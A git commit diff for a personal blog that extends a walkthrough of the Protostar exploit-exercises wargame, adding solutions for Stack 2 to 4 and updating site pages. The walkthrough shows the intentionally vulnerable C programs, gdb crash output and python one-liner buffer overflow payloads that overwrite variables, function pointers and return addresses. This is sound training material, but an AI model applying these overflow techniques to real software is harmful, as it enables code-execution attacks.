protostar update

_posts/2016-06-14-nebula_exploit_exercises.md

@@ -1,11 +1,13 @@
 ---
-title: "Protostar Exploit Exercises Solutions 0-1"
+title: "Protostar Exploit Exercises Solutions 0-4"
 layout: post
 category: writeup
 tags: [exploit-exercises, protostar, hacking]
 excerpt: "Walkthrough for Protostar exercises on exploit-exercises.com"
 ---
 
+Note: When you first logon to protostar, make sure you are actually using bash. It will make things a lot easier.
+
 # Stack 0
 
 Here's what we're given:
@@ -97,3 +99,217 @@ you have correctly got the variable to the right value
 ```
 
 Woo!
+
+# Stack 2
+
+The website says this one involves environment variables, and how they can be set, so let's look at the code:
+
+```
+#include <stdlib.h>
+#include <unistd.h>
+#include <stdio.h>
+#include <string.h>
+
+int main(int argc, char **argv)
+{
+  volatile int modified;
+  char buffer[64];
+  char *variable;
+
+  variable = getenv("GREENIE");
+
+  if(variable == NULL) {
+      errx(1, "please set the GREENIE environment variable\n");
+  }
+
+  modified = 0;
+
+  strcpy(buffer, variable);
+
+  if(modified == 0x0d0a0d0a) {
+      printf("you have correctly modified the variable\n");
+  } else {
+      printf("Try again, you got 0x%08x\n", modified);
+  }
+
+}
+```
+
+There's the ```char buffer[64]``` and ```char *variable``` again, then shortly after that it reads in the ```GREENIE``` environmental variable. Since ```GREENIE``` is copied to ```buffer```, let's see if appending ```0x0d0a0d0a``` to the end of some 64 bit string, since that's what it compares in the if statement:
+
+```
+user@protostar:/opt/protostar/bin$  export GREENIE=`python -c 'print "A"*64+"\x0a\x0d\x0a\x0d"'`
+user@protostar:/opt/protostar/bin$ ./stack2
+you have correctly modified the variable
+```
+
+# Stack 3
+
+```
+#include <stdlib.h>
+#include <unistd.h>
+#include <stdio.h>
+#include <string.h>
+
+void win()
+{
+  printf("code flow successfully changed\n");
+}
+
+int main(int argc, char **argv)
+{
+  volatile int (*fp)();
+  char buffer[64];
+
+  fp = 0;
+
+  gets(buffer);
+
+  if(fp) {
+      printf("calling function pointer, jumping to 0x%08x\n", fp);
+      fp();
+  }
+}
+```
+
+It looks like I need to input a 64 byte buffer like previously, and then append the address of ```win()```, which will write to ```fp```.
+
+First to figure out the address of win I ran ```objdump -d stack3 | grep win``` which outputs ```08048424```:
+
+```
+user@protostar:/opt/protostar/bin$ objdump -d stack3 | grep win
+08048424 <win>:
+```
+
+And appending it to the buffer:
+
+```
+user@protostar:/opt/protostar/bin$ echo `python -c 'print "A"*64 + "\x24\x84\x04\x08"'` | ./stack3
+calling function pointer, jumping to 0x08048424
+code flow successfully changed
+```
+
+# Stack 4
+
+```
+#include <stdlib.h>
+#include <unistd.h>
+#include <stdio.h>
+#include <string.h>
+
+void win()
+{
+  printf("code flow successfully changed\n");
+}
+
+int main(int argc, char **argv)
+{
+  char buffer[64];
+
+  gets(buffer);
+}
+```
+
+This is similar to Stack 3, except it I need to add some extra padding to get to ```win```.
+
+First I'm going to get the memory address of ```win```, but I won't use this till the end:
+
+```
+user@protostar:/opt/protostar/bin$ objdump -d stack4 | grep win
+080483f4 <win>:
+```
+
+Now to figure out the padding, I ran gdb with and used binary search to figure out what the max buffer is:
+
+First with predefined buffers of 50 and 100:
+
+```
+GNU gdb (GDB) 7.0.1-debian
+Copyright (C) 2009 Free Software Foundation, Inc.
+License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
+This is free software: you are free to change and redistribute it.
+There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
+and "show warranty" for details.
+This GDB was configured as "i486-linux-gnu".
+For bug reporting instructions, please see:
+<http://www.gnu.org/software/gdb/bugs/>...
+Reading symbols from /opt/protostar/bin/stack4...done.
+(gdb) r   // with 50
+Starting program: /opt/protostar/bin/stack4
+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+
+Program exited with code 060.
+(gdb) r   // with 100
+Starting program: /opt/protostar/bin/stack4
+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+
+Program received signal SIGSEGV, Segmentation fault.
+0x41414141 in ?? ()
+(gdb) r   // with ~75
+The program being debugged has been started already.
+Start it from the beginning? (y or n) y
+Starting program: /opt/protostar/bin/stack4
+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+
+Program exited with code 060.
+(gdb) r   //with ~80
+Starting program: /opt/protostar/bin/stack4
+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+
+Program received signal SIGSEGV, Segmentation fault.
+0x41414141 in ?? ()
+```
+
+And now I figured out it's somewhere around 80 by approximation, so I guessed than then 75, then 76:
+
+```
+user@protostar:/opt/protostar/bin$ gdb ./stack4
+GNU gdb (GDB) 7.0.1-debian
+Copyright (C) 2009 Free Software Foundation, Inc.
+License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
+This is free software: you are free to change and redistribute it.
+There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
+and "show warranty" for details.
+This GDB was configured as "i486-linux-gnu".
+For bug reporting instructions, please see:
+<http://www.gnu.org/software/gdb/bugs/>...
+Reading symbols from /opt/protostar/bin/stack4...done.
+(gdb) r   // with 80
+Starting program: /opt/protostar/bin/stack4
+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+
+Program received signal SIGSEGV, Segmentation fault.
+0x41414141 in ?? ()
+(gdb) r   // with 75
+The program being debugged has been started already.
+Start it from the beginning? (y or n) y
+Starting program: /opt/protostar/bin/stack4
+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA     
+
+Program exited with code 060.
+(gdb) r   // with 76
+Starting program: /opt/protostar/bin/stack4
+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA    
+
+Program received signal SIGSEGV, Segmentation fault.
+0xb7eadc03 in __libc_start_main (main=Cannot access memory at address 0x41414149
+) at libc-start.c:187
+187     libc-start.c: No such file or directory.
+        in libc-start.c
+(gdb) Woo => 76
+```
+
+Alright, so I know the buffer I need is 76, and the memory address of ```win```:
+
+```
+user@protostar:/opt/protostar/bin$ echo `python -c 'print "A"*76 + "\xf4\x83\x04\x08"'` | ./stack4
+code flow successfully changed
+```
+
+There you go.
+
+# Stack 5
+
+Finally, we get to do some shellcode!
+
+I have a good idea about how to do this, but unfortunately I can't get something to work right, so I'll update this as soon as I do.

_site/404.html

@@ -5,11 +5,22 @@
 <html>
 <head>
     <meta charset="utf-8">
-<script type="text/javascript">
+<!--<script type="text/javascript">
     var host = "paul.walko.org";
     if ((host == window.location.host) && (window.location.protocol != "https:"))
         window.location.protocol = "https";
 </script>
+-->
+<script>
+  (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
+  (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
+  m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
+  })(window,document,'script','https://www.google-analytics.com/analytics.js','ga');
+
+  ga('create', 'UA-79393488-1', 'auto');
+  ga('send', 'pageview');
+
+</script>
 <meta http-equiv="X-UA-Compatible" content="IE=edge">
 <meta name="viewport" content="width=device-width, initial-scale=1">
 <meta name="description" content="Paul Walko's personal website">
@@ -41,8 +52,9 @@
 <script type="text/javascript" src="http://localhost:4000/javascripts/jquery.js"></script>
 
 
-
+<!--
 <link rel="canonical" href=" { { site.url } }{ { page.url } }" />
+-->
 
 <!--[if lt IE 9]>
 <script src="http://localhost:4000/javascripts/html5shiv.js"></script>
@@ -75,7 +87,7 @@
                         </ul>
                     </li>
                     <li class="col-lg-3"><a href="http://localhost:4000/about">ABOUT</a></li>
-                    <li class="col-lg-3"><a href="http://localhost:4000/resume">RÉSUMÉ</a></li>
+                    <li class="col-lg-3"><a href="http://localhost:4000/Walko_Paul-Resume.pdf">RÉSUMÉ</a></li>
                 </ul>
             </nav>
 

_site/about/index.html

@@ -5,11 +5,22 @@
 <html>
 <head>
     <meta charset="utf-8">
-<script type="text/javascript">
+<!--<script type="text/javascript">
     var host = "paul.walko.org";
     if ((host == window.location.host) && (window.location.protocol != "https:"))
         window.location.protocol = "https";
 </script>
+-->
+<script>
+  (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
+  (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
+  m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
+  })(window,document,'script','https://www.google-analytics.com/analytics.js','ga');
+
+  ga('create', 'UA-79393488-1', 'auto');
+  ga('send', 'pageview');
+
+</script>
 <meta http-equiv="X-UA-Compatible" content="IE=edge">
 <meta name="viewport" content="width=device-width, initial-scale=1">
 <meta name="description" content="Paul Walko's personal website">
@@ -41,8 +52,9 @@
 <script type="text/javascript" src="http://localhost:4000/javascripts/jquery.js"></script>
 
 
-
+<!--
 <link rel="canonical" href=" { { site.url } }{ { page.url } }" />
+-->
 
 <!--[if lt IE 9]>
 <script src="http://localhost:4000/javascripts/html5shiv.js"></script>
@@ -75,7 +87,7 @@
                         </ul>
                     </li>
                     <li class="col-lg-3"><a href="http://localhost:4000/about">ABOUT</a></li>
-                    <li class="col-lg-3"><a href="http://localhost:4000/resume">RÉSUMÉ</a></li>
+                    <li class="col-lg-3"><a href="http://localhost:4000/Walko_Paul-Resume.pdf">RÉSUMÉ</a></li>
                 </ul>
             </nav>
 
@@ -168,7 +180,7 @@
 
     <section id="action">
         <h2></small>Contact Me</small></h2>
-        <a href="http://localhost:4000/resume">View my resume</a>
+        <a href="http://localhost:4000/Walko_Paul-Resume.pdf">View my resume</a>
         <span> or </span>
         <a href="mailto:paulsw.pw@gmail.com">e-mail me</a>
     </section>

_site/category/index.html

@@ -5,11 +5,22 @@
 <html>
 <head>
     <meta charset="utf-8">
-<script type="text/javascript">
+<!--<script type="text/javascript">
     var host = "paul.walko.org";
     if ((host == window.location.host) && (window.location.protocol != "https:"))
         window.location.protocol = "https";
 </script>
+-->
+<script>
+  (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
+  (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
+  m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
+  })(window,document,'script','https://www.google-analytics.com/analytics.js','ga');
+
+  ga('create', 'UA-79393488-1', 'auto');
+  ga('send', 'pageview');
+
+</script>
 <meta http-equiv="X-UA-Compatible" content="IE=edge">
 <meta name="viewport" content="width=device-width, initial-scale=1">
 <meta name="description" content="Paul Walko's personal website">
@@ -41,8 +52,9 @@
 <script type="text/javascript" src="http://localhost:4000/javascripts/jquery.js"></script>
 
 
-
+<!--
 <link rel="canonical" href=" { { site.url } }{ { page.url } }" />
+-->
 
 <!--[if lt IE 9]>
 <script src="http://localhost:4000/javascripts/html5shiv.js"></script>
@@ -75,7 +87,7 @@
                         </ul>
                     </li>
                     <li class="col-lg-3"><a href="http://localhost:4000/about">ABOUT</a></li>
-                    <li class="col-lg-3"><a href="http://localhost:4000/resume">RÉSUMÉ</a></li>
+                    <li class="col-lg-3"><a href="http://localhost:4000/Walko_Paul-Resume.pdf">RÉSUMÉ</a></li>
                 </ul>
             </nav>
 
@@ -148,7 +160,7 @@
     </div>
 
     <div class="col-lg-10 col-md-10 col-sm-10">
-        <h2 class="title"><a href="/writeup/nebula_exploit_exercises">Protostar Exploit Exercises Solutions 0-1</a></h2>
+        <h2 class="title"><a href="/writeup/nebula_exploit_exercises">Protostar Exploit Exercises Solutions 0-4</a></h2>
         <ul class="tags">
             
             <li><i class="fa fa-tag"> exploit-exercises</i></li>

_site/index.html

@@ -5,11 +5,22 @@
 <html>
 <head>
     <meta charset="utf-8">
-<script type="text/javascript">
+<!--<script type="text/javascript">
     var host = "paul.walko.org";
     if ((host == window.location.host) && (window.location.protocol != "https:"))
         window.location.protocol = "https";
 </script>
+-->
+<script>
+  (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
+  (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
+  m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
+  })(window,document,'script','https://www.google-analytics.com/analytics.js','ga');
+
+  ga('create', 'UA-79393488-1', 'auto');
+  ga('send', 'pageview');
+
+</script>
 <meta http-equiv="X-UA-Compatible" content="IE=edge">
 <meta name="viewport" content="width=device-width, initial-scale=1">
 <meta name="description" content="Paul Walko's personal website">
@@ -41,8 +52,9 @@
 <script type="text/javascript" src="http://localhost:4000/javascripts/jquery.js"></script>
 
 
-
+<!--
 <link rel="canonical" href=" { { site.url } }{ { page.url } }" />
+-->
 
 <!--[if lt IE 9]>
 <script src="http://localhost:4000/javascripts/html5shiv.js"></script>
@@ -75,7 +87,7 @@
                         </ul>
                     </li>
                     <li class="col-lg-3"><a href="http://localhost:4000/about">ABOUT</a></li>
-                    <li class="col-lg-3"><a href="http://localhost:4000/resume">RÉSUMÉ</a></li>
+                    <li class="col-lg-3"><a href="http://localhost:4000/Walko_Paul-Resume.pdf">RÉSUMÉ</a></li>
                 </ul>
             </nav>
 
@@ -116,7 +128,7 @@
     </div>
 
     <div class="col-lg-10 col-md-10 col-sm-10">
-        <h2 class="title"><a href="/writeup/nebula_exploit_exercises">Protostar Exploit Exercises Solutions 0-1</a></h2>
+        <h2 class="title"><a href="/writeup/nebula_exploit_exercises">Protostar Exploit Exercises Solutions 0-4</a></h2>
         <ul class="tags">
             
             <li><i class="fa fa-tag"> exploit-exercises</i></li>

_site/sitemap.txt

@@ -1,4 +1,4 @@
-https://paul.walko.org//writeup/nebula_exploit_exercises
+http://paul.walko.org//writeup/nebula_exploit_exercises
 
 
 

_site/sitemap.xml

@@ -5,8 +5,8 @@
         http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd">
     
     <url>
-        <loc>https://paul.walko.org//writeup/nebula_exploit_exercises</loc>
+        <loc>http://paul.walko.org//writeup/nebula_exploit_exercises</loc>
-        <lastmod>2016-06-15T01:37:41-04:00</lastmod>
+        <lastmod>2016-06-19T02:35:49-04:00</lastmod>
         <changefreq>weekly</changefreq>
     </url>
     

_site/tag/index.html

@@ -5,11 +5,22 @@
 <html>
 <head>
     <meta charset="utf-8">
-<script type="text/javascript">
+<!--<script type="text/javascript">
     var host = "paul.walko.org";
     if ((host == window.location.host) && (window.location.protocol != "https:"))
         window.location.protocol = "https";
 </script>
+-->
+<script>
+  (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
+  (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
+  m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
+  })(window,document,'script','https://www.google-analytics.com/analytics.js','ga');
+
+  ga('create', 'UA-79393488-1', 'auto');
+  ga('send', 'pageview');
+
+</script>
 <meta http-equiv="X-UA-Compatible" content="IE=edge">
 <meta name="viewport" content="width=device-width, initial-scale=1">
 <meta name="description" content="Paul Walko's personal website">
@@ -41,8 +52,9 @@
 <script type="text/javascript" src="http://localhost:4000/javascripts/jquery.js"></script>
 
 
-
+<!--
 <link rel="canonical" href=" { { site.url } }{ { page.url } }" />
+-->
 
 <!--[if lt IE 9]>
 <script src="http://localhost:4000/javascripts/html5shiv.js"></script>
@@ -75,7 +87,7 @@
                         </ul>
                     </li>
                     <li class="col-lg-3"><a href="http://localhost:4000/about">ABOUT</a></li>
-                    <li class="col-lg-3"><a href="http://localhost:4000/resume">RÉSUMÉ</a></li>
+                    <li class="col-lg-3"><a href="http://localhost:4000/Walko_Paul-Resume.pdf">RÉSUMÉ</a></li>
                 </ul>
             </nav>
 
@@ -167,7 +179,7 @@
     </div>
 
     <div class="col-lg-10 col-md-10 col-sm-10">
-        <h2 class="title"><a href="/writeup/nebula_exploit_exercises">Protostar Exploit Exercises Solutions 0-1</a></h2>
+        <h2 class="title"><a href="/writeup/nebula_exploit_exercises">Protostar Exploit Exercises Solutions 0-4</a></h2>
         <ul class="tags">
             
             <li><i class="fa fa-tag"> exploit-exercises</i></li>
@@ -235,7 +247,7 @@
     </div>
 
     <div class="col-lg-10 col-md-10 col-sm-10">
-        <h2 class="title"><a href="/writeup/nebula_exploit_exercises">Protostar Exploit Exercises Solutions 0-1</a></h2>
+        <h2 class="title"><a href="/writeup/nebula_exploit_exercises">Protostar Exploit Exercises Solutions 0-4</a></h2>
         <ul class="tags">
             
             <li><i class="fa fa-tag"> exploit-exercises</i></li>
@@ -299,7 +311,7 @@
     </div>
 
     <div class="col-lg-10 col-md-10 col-sm-10">
-        <h2 class="title"><a href="/writeup/nebula_exploit_exercises">Protostar Exploit Exercises Solutions 0-1</a></h2>
+        <h2 class="title"><a href="/writeup/nebula_exploit_exercises">Protostar Exploit Exercises Solutions 0-4</a></h2>
         <ul class="tags">
             
             <li><i class="fa fa-tag"> exploit-exercises</i></li>

_site/writeup/nebula_exploit_exercises.html

@@ -5,16 +5,27 @@
 <html>
 <head>
     <meta charset="utf-8">
-<script type="text/javascript">
+<!--<script type="text/javascript">
     var host = "paul.walko.org";
     if ((host == window.location.host) && (window.location.protocol != "https:"))
         window.location.protocol = "https";
 </script>
+-->
+<script>
+  (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
+  (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
+  m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
+  })(window,document,'script','https://www.google-analytics.com/analytics.js','ga');
+
+  ga('create', 'UA-79393488-1', 'auto');
+  ga('send', 'pageview');
+
+</script>
 <meta http-equiv="X-UA-Compatible" content="IE=edge">
 <meta name="viewport" content="width=device-width, initial-scale=1">
 <meta name="description" content="Walkthrough for Protostar exercises on exploit-exercises.com">
 
-<title>Protostar Exploit Exercises Solutions 0-1</title>
+<title>Protostar Exploit Exercises Solutions 0-4</title>
 
 <!-- favicon -->
 <link rel="apple-touch-icon" sizes="57x57" href="http://localhost:4000/favicon/apple-icon-57x57.png">
@@ -41,8 +52,9 @@
 <script type="text/javascript" src="http://localhost:4000/javascripts/jquery.js"></script>
 
 
-
+<!--
 <link rel="canonical" href=" { { site.url } }{ { page.url } }" />
+-->
 
 <!--[if lt IE 9]>
 <script src="http://localhost:4000/javascripts/html5shiv.js"></script>
@@ -79,7 +91,7 @@
                         </ul>
                     </li>
                     <li class="col-lg-3"><a href="http://localhost:4000/about">ABOUT</a></li>
-                    <li class="col-lg-3"><a href="http://localhost:4000/resume">RÉSUMÉ</a></li>
+                    <li class="col-lg-3"><a href="http://localhost:4000/Walko_Paul-Resume.pdf">RÉSUMÉ</a></li>
                 </ul>
             </nav>
 
@@ -109,7 +121,7 @@
         <div class="row">
             <div id="markdown-container" class="col-lg-9">
                 <header>
-                    <p id="postTitle">Protostar Exploit Exercises Solutions 0-1</p>
+                    <p id="postTitle">Protostar Exploit Exercises Solutions 0-4</p>
                     
                     <ul class="tags clearfix">
                         
@@ -125,6 +137,8 @@
 
                 </header>
 
+                <p>Note: When you first logon to protostar, make sure you are actually using bash. It will make things a lot easier.</p>
+
 <h1 id="stack-0">Stack 0</h1>
 
 <p>Here’s what we’re given:</p>
@@ -215,6 +229,220 @@ you have correctly got the variable to the right value
 
 <p>Woo!</p>
 
+<h1 id="stack-2">Stack 2</h1>
+
+<p>The website says this one involves environment variables, and how they can be set, so let’s look at the code:</p>
+
+<div class="highlighter-rouge"><pre class="highlight"><code>#include &lt;stdlib.h&gt;
+#include &lt;unistd.h&gt;
+#include &lt;stdio.h&gt;
+#include &lt;string.h&gt;
+
+int main(int argc, char **argv)
+{
+  volatile int modified;
+  char buffer[64];
+  char *variable;
+
+  variable = getenv("GREENIE");
+
+  if(variable == NULL) {
+      errx(1, "please set the GREENIE environment variable\n");
+  }
+
+  modified = 0;
+
+  strcpy(buffer, variable);
+
+  if(modified == 0x0d0a0d0a) {
+      printf("you have correctly modified the variable\n");
+  } else {
+      printf("Try again, you got 0x%08x\n", modified);
+  }
+
+}
+</code></pre>
+</div>
+
+<p>There’s the <code class="highlighter-rouge">char buffer[64]</code> and <code class="highlighter-rouge">char *variable</code> again, then shortly after that it reads in the <code class="highlighter-rouge">GREENIE</code> environmental variable. Since <code class="highlighter-rouge">GREENIE</code> is copied to <code class="highlighter-rouge">buffer</code>, let’s see if appending <code class="highlighter-rouge">0x0d0a0d0a</code> to the end of some 64 bit string, since that’s what it compares in the if statement:</p>
+
+<div class="highlighter-rouge"><pre class="highlight"><code>user@protostar:/opt/protostar/bin$  export GREENIE=`python -c 'print "A"*64+"\x0a\x0d\x0a\x0d"'`
+user@protostar:/opt/protostar/bin$ ./stack2
+you have correctly modified the variable
+</code></pre>
+</div>
+
+<h1 id="stack-3">Stack 3</h1>
+
+<div class="highlighter-rouge"><pre class="highlight"><code>#include &lt;stdlib.h&gt;
+#include &lt;unistd.h&gt;
+#include &lt;stdio.h&gt;
+#include &lt;string.h&gt;
+
+void win()
+{
+  printf("code flow successfully changed\n");
+}
+
+int main(int argc, char **argv)
+{
+  volatile int (*fp)();
+  char buffer[64];
+
+  fp = 0;
+
+  gets(buffer);
+
+  if(fp) {
+      printf("calling function pointer, jumping to 0x%08x\n", fp);
+      fp();
+  }
+}
+</code></pre>
+</div>
+
+<p>It looks like I need to input a 64 byte buffer like previously, and then append the address of <code class="highlighter-rouge">win()</code>, which will write to <code class="highlighter-rouge">fp</code>.</p>
+
+<p>First to figure out the address of win I ran <code class="highlighter-rouge">objdump -d stack3 | grep win</code> which outputs <code class="highlighter-rouge">08048424</code>:</p>
+
+<div class="highlighter-rouge"><pre class="highlight"><code>user@protostar:/opt/protostar/bin$ objdump -d stack3 | grep win
+08048424 &lt;win&gt;:
+</code></pre>
+</div>
+
+<p>And appending it to the buffer:</p>
+
+<div class="highlighter-rouge"><pre class="highlight"><code>user@protostar:/opt/protostar/bin$ echo `python -c 'print "A"*64 + "\x24\x84\x04\x08"'` | ./stack3
+calling function pointer, jumping to 0x08048424
+code flow successfully changed
+</code></pre>
+</div>
+
+<h1 id="stack-4">Stack 4</h1>
+
+<div class="highlighter-rouge"><pre class="highlight"><code>#include &lt;stdlib.h&gt;
+#include &lt;unistd.h&gt;
+#include &lt;stdio.h&gt;
+#include &lt;string.h&gt;
+
+void win()
+{
+  printf("code flow successfully changed\n");
+}
+
+int main(int argc, char **argv)
+{
+  char buffer[64];
+
+  gets(buffer);
+}
+</code></pre>
+</div>
+
+<p>This is similar to Stack 3, except it I need to add some extra padding to get to <code class="highlighter-rouge">win</code>.</p>
+
+<p>First I’m going to get the memory address of <code class="highlighter-rouge">win</code>, but I won’t use this till the end:</p>
+
+<div class="highlighter-rouge"><pre class="highlight"><code>user@protostar:/opt/protostar/bin$ objdump -d stack4 | grep win
+080483f4 &lt;win&gt;:
+</code></pre>
+</div>
+
+<p>Now to figure out the padding, I ran gdb with and used binary search to figure out what the max buffer is:</p>
+
+<p>First with predefined buffers of 50 and 100:</p>
+
+<div class="highlighter-rouge"><pre class="highlight"><code>GNU gdb (GDB) 7.0.1-debian
+Copyright (C) 2009 Free Software Foundation, Inc.
+License GPLv3+: GNU GPL version 3 or later &lt;http://gnu.org/licenses/gpl.html&gt;
+This is free software: you are free to change and redistribute it.
+There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
+and "show warranty" for details.
+This GDB was configured as "i486-linux-gnu".
+For bug reporting instructions, please see:
+&lt;http://www.gnu.org/software/gdb/bugs/&gt;...
+Reading symbols from /opt/protostar/bin/stack4...done.
+(gdb) r   // with 50
+Starting program: /opt/protostar/bin/stack4
+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+
+Program exited with code 060.
+(gdb) r   // with 100
+Starting program: /opt/protostar/bin/stack4
+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+
+Program received signal SIGSEGV, Segmentation fault.
+0x41414141 in ?? ()
+(gdb) r   // with ~75
+The program being debugged has been started already.
+Start it from the beginning? (y or n) y
+Starting program: /opt/protostar/bin/stack4
+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+
+Program exited with code 060.
+(gdb) r   //with ~80
+Starting program: /opt/protostar/bin/stack4
+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+
+Program received signal SIGSEGV, Segmentation fault.
+0x41414141 in ?? ()
+</code></pre>
+</div>
+
+<p>And now I figured out it’s somewhere around 80 by approximation, so I guessed than then 75, then 76:</p>
+
+<div class="highlighter-rouge"><pre class="highlight"><code>user@protostar:/opt/protostar/bin$ gdb ./stack4
+GNU gdb (GDB) 7.0.1-debian
+Copyright (C) 2009 Free Software Foundation, Inc.
+License GPLv3+: GNU GPL version 3 or later &lt;http://gnu.org/licenses/gpl.html&gt;
+This is free software: you are free to change and redistribute it.
+There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
+and "show warranty" for details.
+This GDB was configured as "i486-linux-gnu".
+For bug reporting instructions, please see:
+&lt;http://www.gnu.org/software/gdb/bugs/&gt;...
+Reading symbols from /opt/protostar/bin/stack4...done.
+(gdb) r   // with 80
+Starting program: /opt/protostar/bin/stack4
+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+
+Program received signal SIGSEGV, Segmentation fault.
+0x41414141 in ?? ()
+(gdb) r   // with 75
+The program being debugged has been started already.
+Start it from the beginning? (y or n) y
+Starting program: /opt/protostar/bin/stack4
+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA     
+
+Program exited with code 060.
+(gdb) r   // with 76
+Starting program: /opt/protostar/bin/stack4
+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA    
+
+Program received signal SIGSEGV, Segmentation fault.
+0xb7eadc03 in __libc_start_main (main=Cannot access memory at address 0x41414149
+) at libc-start.c:187
+187     libc-start.c: No such file or directory.
+        in libc-start.c
+(gdb) Woo =&gt; 76
+</code></pre>
+</div>
+
+<p>Alright, so I know the buffer I need is 76, and the memory address of <code class="highlighter-rouge">win</code>:</p>
+
+<div class="highlighter-rouge"><pre class="highlight"><code>user@protostar:/opt/protostar/bin$ echo `python -c 'print "A"*76 + "\xf4\x83\x04\x08"'` | ./stack4
+code flow successfully changed
+</code></pre>
+</div>
+
+<p>There you go.</p>
+
+<h1 id="stack-5">Stack 5</h1>
+
+<p>Finally, we get to do some shellcode!</p>
+
+<p>I have a good idea about how to do this, but unfortunately I can’t get something to work right, so I’ll update this as soon as I do.</p>
+
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